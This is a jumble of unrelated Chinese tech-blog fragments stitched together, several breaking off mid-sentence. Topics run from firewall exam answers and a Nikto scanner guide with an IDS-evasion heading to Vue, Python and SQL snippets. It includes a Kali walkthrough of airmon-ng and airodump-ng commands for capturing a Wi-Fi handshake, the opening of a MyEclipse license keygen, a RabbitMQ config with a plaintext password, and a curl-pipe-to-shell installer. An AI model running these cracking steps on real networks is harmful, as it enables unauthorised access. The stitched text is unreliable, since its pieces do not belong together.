案例:某企业的技术部、行政部和生产部分布在三个区域,随着企业对信息化需求的提高,现拟将网络出口链路由单链路升级为双链路,提升ERP系统服务能力以及加强员工上网行为管控。网络管理员依据企业现有网络和新的网络需求设计了该企业网络拓扑图如下,并对网络地址重新进行了规划,其中防火墙设备集成了传统防火墙与路由功能。
案例分析一:
1.在上图的防火墙设备中,配置双出口链路有提高带宽、链路冗余、链路负载均衡作用
解析:① 当一条链路出现故障或不可用时,故障链路上的数据可以自动切换到正常链路之上,也就是流量可以被及时切换到另一条链路上,避免网络长时间中断
② 防火墙部署在企业网的出口,起到了隔离内部网和外部网的作用,当两条ISP链路接入防火墙时,可以起到提高总带宽、链路冗余和负载均衡作用
2.通过配置链路聚合来提高总带宽,通过配置策略路由来实现链路负载均衡
解析:
(1)通过策略路由对网络请求进行重定向和内容管理,实现数据在两条链路上的负载均衡
(2) 链路聚合(以太网链路聚合简称):
① 链路聚合定义:链路聚合是指将两个或更多数据信道结合成一个单个的信道,该信道以一个单个的更高带宽的逻辑链路出现。链路聚合一般用来连接一个或多个带宽需求大的设备,例如连接骨干网络的服务器或服务器群。链路聚合中需要指出的是,LACP协议并不等于链路聚合技术,而是IEEE802.3ad提供的一种链路聚合控制方式,具体实现中也可采用其它的聚合控制方式。
② 链路聚合内容:
链路聚合通过将多条以太网物理链路捆绑在一起成为一条逻辑链路,从而实现增加链路带宽的目的。将具有相同传输介质类型,相同传输速率的链路“捆绑”在一起形成一个聚合组,在逻辑上看起来是一条链路,业务负荷在各端口中进行分担。同时,这些捆绑在一起的链路通过相互间的动态备份,可以有效地提高链路的可靠性。在众多的提高网络可用性的解决方案中,链路聚合技术以增加网络带宽、实现链路负载分担、提高网络可靠性(提供了传输线路内部的冗余机制)等优点,对数据业务有了很好的支持和完善,在近年来引起了极大的关注并获得迅速发展和广泛应用。
链路聚合功能是将交换机的多个低带宽交换端口捆绑成一条高带宽链路,通过几个端口进行链路负载平衡,避免链路出现拥塞现象,打比喻来说,链路聚合就如同超市设置多个收银台以防止收银台过少而出现消费者排队等候过长的现象。如果聚合的每个链路都遵循不同的物理路径,则聚合链路也提供冗余和容错。通过聚合调制解调器链路或者数字线路,链路聚合可用于改善对公共网络的访问。链路聚合也可用于企业网络,以便在吉比特以太网交换机之间构建多吉比特的主干链路。
③ 链路聚合优点:
1. 提高链路可用性:链路聚合中,成员互相动态备份。当某一链路中断时,其它成员能够迅速接替其工作。与生成树协议不同,链路聚合启用备份的过程对聚合之外是不可见的,而且启用备份过程只在聚合链路内,与其它链路无关,切换可在数毫秒内完成。
2.增加链路容量:链路聚合技术的另一个明显的优点是为用户提供一种经济的提高链路传输率的方法。通过捆绑多条物理链路,用户不必升级现有设备就能获得更大带宽的数据链路,其容量等于各物理链路容量之和。聚合模块按照一定算法将业务流量分配给不同的成员,实现链路级的负载分担功能。
④ 链路聚合和端口聚合的区别:
1.链路聚合技术亦称主干技术(Trunking)或捆绑技(Bonding),其实质是将两台设备间的数条物理链路"组合"成逻辑上的一条数据通路,称为一条聚合链路。
2.端口聚合也叫做以太通道(ethernet channel),指的是把两个或多个物理端口捆绑成一个逻辑链路,两设备多个端口两两相连,从而增加链路带宽,可起到负载均衡的作用,而且多条线路间还能形成冗余备份。主要用于交换机之间连接。由于两个交换机之间有多条冗余链路的时候,STP会将其中的几条链路关闭,只保留一条,这样可以避免二层的环路产生。但是,失去了路径冗余的优点,因为STP的链路切换会很慢,在50s左右。使用以太通道的话,交换机会把一组物理端口联合起来,做为一个逻辑的通道,也就是channel-group,这样交换机会认为这个逻辑通道为一个端口。
案例分析二:
1.防火墙工作模式:
(1)防火墙有三种工作模式:路由模式、透明模式、混合模式:如果防火墙以第三层对外连接(接口具有IP 地址),则认为防火墙工作在路由模式下若防火墙通过第二层对外连接(接口无IP 地址),则防火墙工作在透明模式下;若防火墙同时具有工作在路由模式和透明模式的接口(某些接口具有IP 地址,某些接口无IP 地址),则防火墙工作在混合模式下
(2)路由模式:可以完成ACL 包过滤、ASPF 动态过滤、NAT 转换等功能。然而,路由模式需要对网络拓扑进行修改(内部网络用户需要更改网关、路由器需要更改路由配置等),这是一件相当费事的工作,因此在使用该模式时需权衡利弊。
(3)透明模式:只需在网络中像放置网桥(bridge)一样插入该防火墙设备即可,无需修改任何已有的配置。与路由模式相同,IP 报文同样经过相关的过滤检查(但是IP 报文中的源或目的地址不会改变),内部网络用户依旧受到防火墙的保护。
(4)混合模式:主/备防火墙的Trust 区域接口与公司内部网络相连,Untrust区域接口与外部网络相连,主/备防火墙之间通过HUB 或LAN Switch 实现互相连接,并运行VRRP 协议进行备份。需要注意的是内部网络和外部网络必须处于同一个子网。
2.若上图防火墙接口均配有IP地址,则防火墙工作在路由模式下
解析:(1)防火墙三种模式:路由模式、透明模式、混合模式,如果防火墙接口配置有IP地址并通过第三层对外连接,则认为防火墙工作在路由模式下
(2)若防火墙接口未配置IP地址并通过第二层对外连接,则防火墙工作在透明模式下
(3)若防火墙同时具有工作在路由模式(某些接口具有IP地址)和透明模式的接口(某些接口无IP地址),则防火墙工作在混合模式下
3.在路由模式下,ERP服务器部署在防火墙的内网区域
解析:
(1)防火墙位于内外网之间时,防火墙分为三个区域:
① 内部网络(Trust):包括全部的企业内部网络设备及用户主机,是防火墙要的可信区域。
② 外部网络(Untrust):包括外部因特网主机和设备,这个区域为防火墙的非可信网络区域。
③ 非军事化区域(DMZ区域):DMZ是英文"demilitarized zone”的缩写,中文名称为“隔离区”,也称“非军事化区”。它是为了解决安装防火墙后外部网络不能访问内部网络服务器的问题,而设立的一一个非安全系统与安全系统之间的缓冲区,这个缓冲区位于企业内部网络和外部网络之间的小网络区域内,在这个小网络区域内可以放置一些必须公开的服务器设施,如企业Web服务器、FTP服务器和论坛等。另一方面,通过这样一个DMZ区域,更加有效地保护了内部网络,因为这种网络部署,比起一般的防火墙方案,对攻击者来说又多了一道关卡。
(2)在路由模式下,ERP服务器部署在防火墙的内部区域,用于内部用户访问,该服务器对外不提供访问服务,确保了内部数据的安全性
(3)Web网站对外部用户和内部用户同时提供服务,应该部署在防火墙的非军事化DMZ区域
案例分析三:
若地址规划如下图所示,从IP规划方案看该地址的配置可能有哪些方面的考虑?
答:
1.用户上网IP的划分按照地理位置划分,便于维护和安全管理
解析:给处于相同地理位置区域的部门分配同一个网段的IP地址,便于配置相同的安全策略,易于网络故障的排查和维护
目录 前言1 工具介绍2 使用场景3 使用方法3.1 查看帮助信息3.2 Nikto插件3.3 扫描3.3.1 常规扫描3.3.2 指定端口扫描3.3.3 指定协议扫描3.3.4 指定目录扫描3.3.5 多目标扫描3.3.6 配合namp利用管道输入扫描3.3.7 利用代理扫描 3.4 Nikto扫描过程中的交互参数3.5 修改nikto配置文件3.6 设置规则绕过IDS检测 结尾感言 前言 在渗透测试中,若我们需要对目标进行数据收集,以期得到目标存在的漏洞时,我们就需要一款优秀的扫描工具了。说到这里,或许会有很多看官会说:“真正的大佬进行渗透测试都不需要扫描器的啊,你这只是给小白说的吧。”其实这是不对的,无论是大佬还是小白,在进行渗透测试时都是需要对目标进行信息收集,这也是渗透测试标准中7个步骤之一,毕竟你总不可能啥都不知道就对着目标一顿输出吧。。。
所以,真正的区别只是工具使用哪一个?使用的频率而已。
1 工具介绍 nikto是一个基于Perl语言开发的开源web安全扫描器,可以扫描搜索存在安全隐患的文件、服务器配置漏洞、WEB Application层面的安全隐患,能在230多种服务器上扫描出 2600多种有潜在危险的文件、CGI及其他问题。Nikto可以扫描指定主机的WEB类型、主机名、指定目录、特定CGI漏洞、返回主机允许的 http模式等。
2 使用场景 在渗透测试标准中,我们共有7个步骤前期交互→情报收集→威胁建模→漏洞分析→渗透攻击阶段→后渗透测试阶段→渗透测试报告,而利用扫描器进行扫描则正处于第二个步骤中,你信息收集的结果很大一部分程度将决定你后续步骤的效果,那么这时,一款优秀的扫描器nikto就显得尤为重要了
3 使用方法 3.1 查看帮助信息 直接输入 nikto 命令即可查看简单的帮助信息
nikto# 查看帮助信息
若我们需要查看详细的帮助信息也可以输入nikto -H或 man nikto命令
man nikto#查看详细帮助信息
nikto -H #查看详细帮助信息
3.2 Nikto插件 在每次使用nikto前我们可以使用 nikto -update升级更新一下插件
nikto -update #升级插件
nikto会通过大量插件来进行扫描,我们可以使用nikto -list-plugins 来查看这些插件的信息
nikto -list-plugins #查看插件已有信息
使用nikto -V来查看工具和插件的版本
nikto -V #查看工具和版本信息
背景 产品经理、开发、业务人员或者其他业务线的小伙伴,经常有构造测试数据的需求,经常只会测试小伙伴,比如:“帮忙造个单”;不忙还好,忙的时候就没办法,毕竟日常测试工作量在那边,还要协助做其他,行业中商业化、开源化测试框架及工具极多,但实际运用需很大维护成本,产生价值价值低。如何真正"高效快速"、"低成本维护",经过调研落地使用对比。最终确认这个方案(Postman+Newman+Jenkins+Git)基于restful Api、RPC、操作数据库等,可以变相解决这些困难。
框架 案例 神州专车构造不同类型订单数据
构造结果数据 案例 宝沃汽车、神州租车,构造车辆、车牌、订单、售后等数据
配置入参 选择脚本 执行记录 具体 1、Postman 基于http/https协议接口,一款可视化构造客户端请求工具,虽然是商业化工具,但免费版提供的功能基本满足目前测试人员需求,能快速构建接口自动化测试脚本,用于场景流程回归、批量构造测试数据。
2、Newman Postman的脚本运行器,能够不在使用postman工具情况下,非界面化运行脚本
可以生成html、json、xml格式的测试报告,可以进一步对这些测试报告进行解析处理。
关于postman、newman生成各种格式测试报告,查看:GitHub - liyinchigithub/Postman-super-run: 让Postman生成不同格式报告文件
3、Git 开源分布式版本控制系统,比较常见开放源代码的版本控制系统:SVN、Gitlab、Github等等,可以进行代码、脚本托管。
以gitlab为例
配置SSH流程
4、Jenkins 开源 CI/CD 持续集成、持续构建系统工具。
通过jenkins配置job参数,可以灵活自定义配置构建,实现各种外部服务功能执行,比如发送邮件、统计结果、数据处理等等。(需要你有一定代码基础)
5、测试报告 测试报告邮件正文显示内容。
(1)邮件发送
使用自己的邮件发送插件 【第一版】
【第二版】
【第三版】
【第四版】
对接测试平台解析报告形成历史执行记录(个人自研)
爬取数据,我将接口自动化测试生成的报告,进行存储展示到前端页面
不推荐使用jenkins自带邮箱发送模板,因为无法参数化、邮件正文自定义效果很差
下图是jenkins自带邮箱插件,仅能展示某些链接地址
问题: 如图为茅台的股票数据
我们只用c列数据进行预测
用连续60天的开盘价预测第61天的开盘价
分析: 1.import
2.读取文件,划分train、test,归一化,生成整个数据集并乱序
3.model=tf.keras.Sequential(…)
4.model.compile(…)
5.断点续训,保存模型,model.fit(…)
6.model.summary()
代码: maotai = pd.read_csv('./SH600519.csv') # 读取股票文件 training_set = maotai.iloc[0:2426 - 300, 2:3].values # 前(2426-300=2126)天的开盘价作为训练集,表格从0开始计数,2:3 是提取[2:3)列,前闭后开,故提取出C列开盘价 test_set = maotai.iloc[2426 - 300:, 2:3].values # 后300天的开盘价作为测试集 # 归一化 sc = MinMaxScaler(feature_range=(0, 1)) # 定义归一化:归一化到(0,1)之间 training_set_scaled = sc.fit_transform(training_set) # 求得训练集的最大值,最小值这些训练集固有的属性,并在训练集上进行归一化 test_set = sc.transform(test_set) # 利用训练集的属性对测试集进行归一化 x_train = [] y_train = [] x_test = [] y_test = [] # 测试集:csv表格中前2426-300=2126天数据 # 利用for循环,遍历整个训练集,提取训练集中连续60天的开盘价作为输入特征x_train,第61天的数据作为标签,for循环共构建2426-300-60=2066组数据。 for i in range(60, len(training_set_scaled)): x_train.
AT 指令和常见错误码
1、 通常命令
一、 AT+CGMI 给出模块厂商的标识。
二、 AT+CGMM 得到模块标识。这个命令用来获得支持的频带(GSM 900,DCS 1800 或PCS 1900)。当模块有多频带时,回应多是不一样频带的结合。
三、 AT+CGMR 得到改订的软件版本。
四、 AT+CGSN 得到GSM模块的IMEI(国际移动设备标识)序列号。
五、 AT+CSCS 选择TE特征设定。这个命令报告TE用的是哪一个状态设定上的ME。ME因而能够转换每个输入的或显示的字母。这个是用来发送、读取或者撰写短信。
六、 AT+WPCS 设定电话簿状态。这个特殊的命令报告经过TE电话簿所用的状态的ME。ME因而能够转换每个输入的或者显示的字符串字母。这个用来读或者写电话簿的入口。
七、 AT+CIMI 得到IMSI。这命令用来读取或者识别SIM卡的IMSI(国际移动签署者标识)。在读取IMSI以前应该先输入PIN(若是须要PIN的话)。
八、 AT+CCID 得到SIM卡的标识。这个命令使模块读取SIM卡上的EF-CCID文件。
九、 AT+GCAP 得到能力表。(支持的功能)
十、 A/ 重复上次命令。只有A/命令不能重复。这命令重复前一个执行的命令。
十一、 AT+CPOF 关机。这个特殊的命令中止GSM软件堆栈和硬件层。命令AT+CFUN=0的功能与+CPOF相同。
十二、 AT+CFUN 设定电话机能。这个命令选择移动站点的机能水平。
1三、 AT+CPAS 返回移动设备的活动状态。
1四、 AT+CMEE 报告移动设备的错误。这个命令决定容许或不容许用结果码“+CME ERROR:”或者“+CMS ERROR:”代替简单的“ERROR”。
1五、 AT+CKPD 小键盘控制。仿真ME小键盘执行命令。
1六、 AT+CCLK 时钟管理。这个命令用来设置或者得到ME真实时钟的当前日期和时间。
1七、 AT+CALA 警报管理。这个命令用来设定在ME中的警报日期/时间。(闹铃)
1八、 AT+CRMP 铃声旋律播放。这个命令在模块的蜂鸣器上播放一段旋律。有两种旋律可用:到来语音、数据或传真呼叫旋律和到来短信声音。
1九、 AT+CRSL 设定或得到到来的电话铃声的声音级别。
2、 呼叫控制命令
修改Centos最大连接数 #查看当前最大连接数 ulimit -n 1024 #编辑最大连接数 vi /etc/systemd/system.conf #DefaultLimitCORE= #DefaultLimitRSS= DefaultLimitNOFILE=1024000 #DefaultLimitAS= DefaultLimitNPROC=1024000 #DefaultLimitMEMLOCK= #DefaultLimitLOCKS= #DefaultLimitSIGPENDING= #DefaultLimitMSGQUEUE= #DefaultLimitNICE= #重启服务 reboot
简介:
gitlab现用版本为12.10.14由于版本漏洞,需升级为14 版本的gitlab,操作流程如下,通过docker-composer 启动gitlab,实现http,https,ssh访问和拉取代码.由于gitlab不可以直接升级到最新版本,故需要按gitlab官方升级流程进行升级(不可回退版本,回退版本会造成状态码:500报错)12.10.14--->13.0.14--->13.1.11--->13.8.8--->13.12.15--->14.0.12 操作步骤如下
1. 数据备份
进入正在运行的gitlab中备份数据信息。
gitlab-rake gitlab:backup:create 备份位置可在/etc/gitlab.rb中进行配置
2. 编写docker-composer.yaml
version: '3.7' services: gitlab: image: 'gitlab/gitlab-ce:14.0.12-ce.0' #升级修改版本号 restart: always hostname: 'gitlabs' container_name: cs-gitlab environment: GITLAB_OMNIBUS_CONFIG: | external_url 'http://gitlab.域名.com' ports: - '9080:80' - '9443:443' - '9022:22' volumes: - '/data/cs-gitlab/config:/etc/gitlab' - '/data/cs-gitlab/logs:/var/log/gitlab' - '/data/cs-gitlab/data:/var/opt/gitlab' 启动服务
docker-compose up -d 3. 导入数据
sudo mv /data/gitlab/srv/gitlab/data/backups/1649333339_2022_04_07_12.10.14_gitlab_backup.tar /data/cs-gitlab/data/backups docker exec -it cs-gitlab bash #进入容器 gitlab-rake gitlab:backup:restore #选择yes 备份位置可在/etc/gitlab.rb中进行配置
4. 代理配置
server { listen 80; server_name gitlab.
V-model绑定单行文本框 <div id="app"> <p>多行文本框</p> <textarea v-model="msg" placeholder="请输入此处进行编辑"/></textarea> <p style="white-space: pre;">{{msg}}</p> </div> <script> var vm=new Vue({ el:"#app", data:{ msg:"" } }) </script> V-model绑定多选框,实现全选 全不选 反选 定义三个数组,两个空数组,一个加入所有选择的value,全选时候让其中一个空数组等于全数组,全不选让数组等于空数组。
<div id="exmaple"> <input type="checkbox" v-model="checkNames" value="上网" /> <label for="net">上网</label> <input type="checkbox" v-model="checkNames" value="旅游" /> <label for="tourism">旅游</label> <input type="checkbox" v-model="checkNames" value="看书" /> <label for="book">看书</label> <input type="checkbox" v-model="checkNames" value="电影" /> <label for="movie">电影</label> <input type="checkbox" v-model="checkNames" value="游戏" /> <label for="game">游戏</label> <p v-if="checked"> 你的兴趣爱好:{{result}} </p> <p> <button @click="allChecked">全选</button> <button @click="
读UneXt论文 文章目录 读UneXt论文abstract1. Introduction2.UneXt3.Experiments and Results消融实验 abstract 大致思路:过去的Unet模型及其模型变种在分割任务上的准确率高,但是权重太大(parameter-heavy),不能在终端使用,因此作者提出了UneXt模型,下面是UneXt的原理和效果(改进点)。
原理:
(1).We propose a tokenized MLP block where we efficiently tokenize and project the convolutional features and use MLPs to model the representation.
(模型的整体情况,conv+MLP)
(2).To further boost the performance, we propose shifting the channels of the inputs while feeding in to MLPs so as to focus on learning local dependencies.( Using tokenized MLPs in latent space reduces the number of parameters and computational complexity while being able to result in a better representation to help segmentation.
方法一:通过新建char数组间接转换。 char c = 'X'; char tmp[1]{c}; string str = tmp; 方法二:通过string的构造函数直接转换。 char c = 'X'; string str = string(1, c);
观察者模式(Observer Design Pattern),也叫做发布订阅模式(Publish-Subscribe Design Pattern)、模型-视图(Model-View)模式、源-监听器(Source-Listener)模式、从属者(Dependents)模式。指在对象之间定义一个一对多的依赖,当一个对象状态改变的时候,所有依赖的对象都会自动收到通知。
比如说Redis 中的基于频道的发布订阅就是观察者模式的应用:
一、观察者模式的介绍 观察者模式是一种对象行为型模式,下面就来看看观察者模式的结构及其实现:
1.1 观察者模式的结构 观察者模式结构中主要包括观察目标(Object)和观察者(Observer)主要结构:
Subject ConcreteSubject Observer ConcreteObserver1、ConcreteObserver2 Client 1.2 观察者模式的实现 根据上面的类图,我们可以实现对应的代码。
首先定义一个抽象目标类 Subject ,其中包括增加、注销和通知观察者方法
public abstract class Subject { protected List<Observer> observerList = new ArrayList<Observer>(); /** * 增加观察者 * @param observer 观察者 */ public void add(Observer observer) { observerList.add(observer); } /** * 注销观察者,从观察者集合中删除一个观察者 * @param observer 观察者 */ public void remove(Observer observer) { observerList.remove(observer); } /**通知观察者*/ public abstract void notifyObserver(); } 对应具体的目标类 ConcreteSubject
记录几个名词解释,如果有表达不准确或不充分的地方欢迎指正。
grid cell 就相当于划分好的网格,比如说YOLOv1是将图片分成7*7的网格,然后这49个网格每个网格就是一个grid cell。
bounding box 对于YOLOv1而言就相当于在一个gird cell上面生成的两个预测框,这两个预测框就是bounding box。
ground truth 在机器学习中ground truth表示有监督学习的训练集的分类准确性,用于证明或者推翻某个假设。有监督的机器学习会对训练数据打标记,试想一下如果训练标记错误,那么将会对测试数据的预测产生影响,因此这里将那些正确打标记的数据成为ground truth,再抽象点可以把它理解为真值、真实的有效值或者是标准的答案。
对于目标检测而言,就是人工标注的结果。目标检测中模型预测的框是要和ground truth(也就是人工标注的框)做比较的。
目录
1. Python 习题部分
2. Python 习题讲解
切片
1. Python 习题部分 要想学习一门语言,便少不了练习。
故附上部分 Python 习题,供大家学习参考。
如有错误之处,还望指正!
1. 输入字符串"http://sports.sina.com.cn/",输出以下结果:
1) 字符串中字母t出现的次数。
2) 字符中"com"子串出现的位置。
3) 将字符串中所有的"."替换为"-"。
4) 提取"sports"和"sina"两个子串(分别使用正向和反向截取方式)。
5) 将字符串中的字母全变为大写。
6) 输出字符串的总字符个数。
7) 在字符串后拼接子串"index"
s = 'http://sports.sina.com.cn/' print(s.count('t')) print(s.find('com')) print(s.replace('.','-')) print(s[7:13],s[-12:-8]) print(s.upper()) print(len(s)) print(s+'index') 2. 编写程序,从键盘输入一串字符,统计这串字符的长度,并统计这串字符中字母的个数、数字的个数以及其它字符的个数。
s = input('请输入一串字符:') count = len(s) a = 0 b = 0 c = 0 for i in range(count): if (s[i] <= 'z' and s[i] >= 'a') or (s[i] <= 'Z' and s[i] >= 'A'): a += 1 elif s[i] <= '9' and s[i] >= '0': b += 1 else: c += 1 print('''字符串长度为:{}\n字母个数为:{} 数字个数为:{}\n其他字符个数为:{}'''.
请编写一个程序来计算并显示一个人的体重指数(BMI),其计算公式为:
BMI=weight×703÷height2
其中,体重weight是以磅为单位,身高height是以英寸为单位。程序输入其体重和身高,然后显示用户的BMI(保留两位小数,用int(BMI*100)/100)。此外,程序还显示一条信息说明用户是“体重最佳”,还是“体重超重"或“体重过轻”。当一个人的BMI在18.5与25之间时,其体重被认为是“体重最佳”。如果BMI小于18.5,则被认为是"体重过轻";如果BMI大于25,则被认为是“体重超重"。
输入格式: 分行输入体重、身高
输出格式: 第一行输出BMI值(保留两位小数)
第二行输出判断信息
执行代码如下:
w=float(input())
h=float(input())
BMI=w*703/(h**2)
if BMI>25:
print("BMI = {}\n体重超重".format(int(BMI*100)/100))
elif 18.5<=BMI<25:
print("BMI = {}\n体重最佳".format(int(BMI*100)/100))
elif BMI<18.5:
print("BMI = {}\n体重过轻".format(int(BMI*100)/100))
java.util.Arrays 1、基本类型的数组排序 Arrays.sort(Object[] a); 2、对象数组排序 Arrays.sort(Object[] a); 需要排序的对象实现Comparable<>,并对其中的compareTo方法进行定义
//例如将Employee[] employee按照薪资排序 class Employee implements Comparable<Employee>{ .... public int compareTo(Employee other){ return Double.compare(salary, other.salary); } } 3、字符串数组按元素长度排序(二维数组按数组元素的第一个数字大小排序) Arrays.sort(T[] a, Comparator<? super T> c) 实现比较器Comparator<>接口,并对其中的compare方法进行定义
//定义一个比较器类直接实现Comparator<> class LengthComparator implements Comparator<String>{ public int compare(String first, String second){ return first.length() - second.length(); } } //或者使用匿名内部类直接实例化一个对象 new Comparator<String>(){ public int compare(String first, String second){ return first.length() - second.length(); } } //或者使用lambda表达式 (first, second) -> {first.length() - second.
CVPR 2022|快手联合中科院自动化所提出基于Transformer的图像风格化方法 论文链接:https://arxiv.org/abs/2105.14576
代码地址:https://github.com/diyiiyiii/StyTR-2
目前主流的的风格化方法一般利用卷积神经网络学习风格和内容表示。由于卷积运算的感受野有限,只有卷积网络比较深,才能捕获图片的长程依赖关系。但是,网络深度的增加会导致图片特征分辨率降低和细节的丢失。细节的缺失体现在风格化结果中就是会影响内容结构的保存和风格模式的显示。如图 1(a) 所示,基于卷积神经网络的风格化算法在特征提取过程中忽略了一些细节,网络浅层关注局部特征,深层通过整合局部信息才能获取全局信息。此外,有研究工作发现典型的基于 CNN 的风格化方法获取的内容表示是不准确的,会导致内容泄漏的问题: 经过几轮重复的风格化操作,风格化结果中几乎不能保留任何原始输入的内容结构信息。
Transformer 应用 于计算机视觉的优点有两个:
首先,在自注意机制的帮助下,Transformer 可以很容易地学习输入的全局信息,从而在每一层都可以获得对输入的整体的理解;其次,Transformer 是一种关系建模的结构,不同层可以提取相似的结构信息 (如图 1(b) 所示)。因此,Transformer 具有较强的特征表示能力,可以避免特征提取过程中细节的丢失,并能很好地保存生成的结构。 本文针对基于 CNN 的风格化方法存在的内容表达存在偏差的问题,提出了一种新颖的图像风格化算法,即 StyTr^2。
方法 为了利用 Transformer 捕获长期依赖关系的能力来实现图像风格化,本文设计了图 2 中结构,模型主要包括三部分:
内容 Transformer 编码器,风格 Transformer 编码器(内容 Transformer 编码器和风格 Transformer 编码器分别用来编码内容域和风格域的图片的长程信息,这种编码方式可以有效避免细节丢失问题。)Transformer 解码器(Transformer 解码器用来将内容特征转换为带有风格图片特征的风格化结果。) 此外,本文针对传统位置编码提出两个重要问题。第一,对于图像生成任务,在计算 PE(位置编码)时,是否应该考虑图像语义? 传统的 PE 是根据按照逻辑排序的句子来设计的,而图像序列是根据图像内容语义来组织的。假设两个图像补丁之间的距离为 d(.,.) 。如图 3(a) 右边部分所示,d((0 , 3 ), (1 , 3 )) (红色和绿色块) 之间的差异与 d(( 0 , 3 ), (3 , 3 )) (红色和青色 块) 之间的差异应该是相似的,因为风格化任务要求相似的内容补丁有相似的风格化结果。第二,当输入图像尺寸呈指数级增大时,传统的正弦位置编码是否仍然适用于视觉任务?
Kal系统学习:记录一次wifi破解过程 1.前期准备: 监听网卡(tb就3、40一张)
kali系统
2 正式开始: 2.1 提升权限 以下的操作我们都需要提升权限,默认的root密码都是kali
sudo su #提升权限
airmon-ng #查看网卡
打开一个终端窗口
2.2 开启网卡监控 airmon-ng start wlan0 #开启网卡监控
此时我们输入ifconfig命令查看自己的网卡,会发现名字已经改变
2.3 扫描wifi airodump-ng wlan0mon #扫描wifi
在这里我很不幸遇到了问题------已经开启了wifi但是没有扫描到wifi名称,如上图
在此,我提供四种解决方式:
断开网卡重新连接上之后等半分钟这样就可以继续监听就可以监听到wifi了,但是这种方法有点麻烦,而且看起来有点low,那我们有求必应,接下来看第二种方法
执行命令先卸载网卡,再重新挂载,按顺序执行下面三条代码,重启终端测试
ifconfig wlan0 down
Ifconfig wlan0 mode monitor
ifconfig wlan0 up
执行上面的三条命令之后我们关闭终端然后在扫描,就可以扫描到wifi了,如下图所示:
如果执行使用上面的方法之后都没有解决问题的话我们可以执行以下命令,让关闭终端重新来
sudo modprobe -r ideapad_laptop
如果以上方法都使用过了的话还是没有解决问题的话,那么我们可以重启一下电脑,据说重启电脑可以解决80%的问题 哈哈。。。
好了,言归正传,既然我们问题解决了,那么我们继续我们的破解
2.4 扫描wifi airodump-ng wlan0mon#扫描
OK我们就选择这个名叫514的幸运儿来进行破解吧
ps:虽然我不知道破解别人的wifi违不违法,但肯定不道德,所以这个名为514的wifi,其实是我自己T_T
2.5 等待抓取握手包 上述步骤后,我们按ctrl+c,退出扫描
并输入命令
airodump-ng -w freedom -c 1 \--bssid B2:F4:01:11:9F:04 wlan0mon -ignore-nefative-oneaa
背景 有个需求需要将数据库的字符串后面一到四位的文本去掉文本格式是(-1到-999),因此想到使用正则表达式取出来这批语句,因为不是固定长度因此选用动态获取长度去replace数据。
因为采用的是异构数据库,因此下面提供了oracle和pgsql的逻辑
步骤一:根据正则取目标值 oracle
regexp_like(t.address_desc,'-[0-9]{1,3}$') pgsql
t.address_desc ~ '-[0-9]{1,3}$' 步骤二:获取目标结尾数据 oracle
REGEXP_SUBSTR(t.address_desc,'-[0-9]{1,3}$') pgsql
substring(address_desc from '-[0-9]{1,3}$') 步骤三:截取想要的字符串 oracle
select substr(t.address_desc,1,length(t.address_desc)-length(REGEXP_SUBSTR(t.address_desc,'-[0-9]{1,3}$'))) pgsql
select substring(address_desc, 1, length(address_desc)-length(substring(address_desc from '-[0-9]{1,3}$'))) 完整sql oracle
select substr(t.address_desc,1,length(t.address_desc)-length(REGEXP_SUBSTR(t.address_desc,'-[0-9]{1,3}$'))) from aaa.address_desc_temp t where regexp_like(t.address_desc,'-[0-9]{1,3}$'); pgsql
select substring(address_desc, 1, length(address_desc)-length(substring(address_desc from '-[0-9]{1,3}$'))), address_desc from aaa.address_desc_temp t where t.address_desc ~ '-[0-9]{1,3}$';
xcode真机调试提示错误:
Failed to prepare device for development
然后点击xcode windows-》Devices and Simulators==》查看该设备的详细信息:
NSLocalizedFailure = "This operation can fail if the version of the OS on the device is newer than the version of Xcode that is running.";
说明你的设备系统太高了,需要下载新的Devicesupport放入到Xcode的目录中。
我的手机系统的是15.4,xcode版本是13.0
下载了15.4的Devicesupport放入到Xcode的对应的目录中/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/DeviceSupport
不知道别人都是最开始从哪里下载的,我想到的就是安装了最新的xcode版本,然后导出。
很多github上都下载不下来,每次找都要找半天
好不容易找到一个,故自己存一份,留给需要的人。
现在有14.8 15.0 和 15.4 后续自己有需要要持续更新
链接:https://pan.baidu.com/s/19YcRXMS9uio8NTA2VfYoCg 提取码:ozo2
import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; public class MyEclipseGen { private static final String LL = "Decompiling this copyrighted software is a violation of both your license agreement and the Digital Millenium Copyright Act of 1998 (http://www.loc.gov/copyright/legislation/dmca.pdf). Under section 1204 of the DMCA, penalties range up to a $500,000 fine or up to five years imprisonment for a first offense. Think about it; pay for a license, avoid prosecution, and feel better about yourself.
上节咱们讲了SpringCloud Stream集成rabbitMQ,本章节咱们将实现延时队列功能。在实际开发中我们有些场景用延时队列实现非常方便。下面列举延时队列适合使用的场景:
用户下单30分钟后未付款自动关闭订单用户下单外卖以后,距离超时时间还有 10 分钟时提醒外卖小哥即将超时邮箱编辑好邮件定时发送等等 上节已经讲过SpringCloud Stream集成rabbitMQ步骤,下面就不在重复赘述了,不明白的同学可以去看上节的内容。
1.主要的变化是配置文件 spring: application: name: rabbitmq-dome cloud: function: definition: source;sink; #函数名称,对应服务中的注入的Bean stream: binders: #需要绑定的rabbitmq的服务信息 default-binder: #定义的名称,用于bidding整合 type: rabbit #消息组件类型 environment: #配置rabbimq连接环境 spring: rabbitmq: addresses: 10.0.1.141:5672 #服务器的地址和端口 username: xt3dev #用户名 password: 4V9prcFbRoYxLCMd #密码 bindings: source-out-0: #自定义消息通道的名称 destination: QUEUE_DOME #exchange名称,交换模式默认是topic,创建时同时会创建QUEUE_DOME.${spring.application.name}队列 content-type: application/json #设置消息的类型为json group: ${spring.application.name} #分组 binder: default-binder #绑定的binder名称 sink-in-0: destination: QUEUE_DOME content-type: application/json group: ${spring.application.name} binder: default-binder rabbit: bindings: source-out-0: producer: ttl: 5000 #延时队列的延时时间,单位毫秒 auto-bind-dlq: true #为true是开启死信队列 dead-letter-exchange: QUEUE_DOME_IN #死信队列的交换机 dead-letter-queueName: QUEUE_DOME_IN.
前提:已安装Git和Anaconda环境
Git:应该是安装Command_Line_Tools_for_Xcode之后即可Anaconda:https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/,从清华镜像站下载安装即可安装brew:参考 mac安装homebrew失败怎么办? - 金牛肖马的回答 - 知乎 /bin/zsh -c "$(curl -fsSL https://gitee.com/cunkai/HomebrewCN/raw/master/Homebrew.sh)" 安装wget: brew install wget 1 安装iterm2 前往iterm2官网下载安装
2 安装oh-my-zsh GitHub仓库地址:https://github.com/ohmyzsh/ohmyzsh
安装方法如下(貌似需要科学~~skr~~上网):
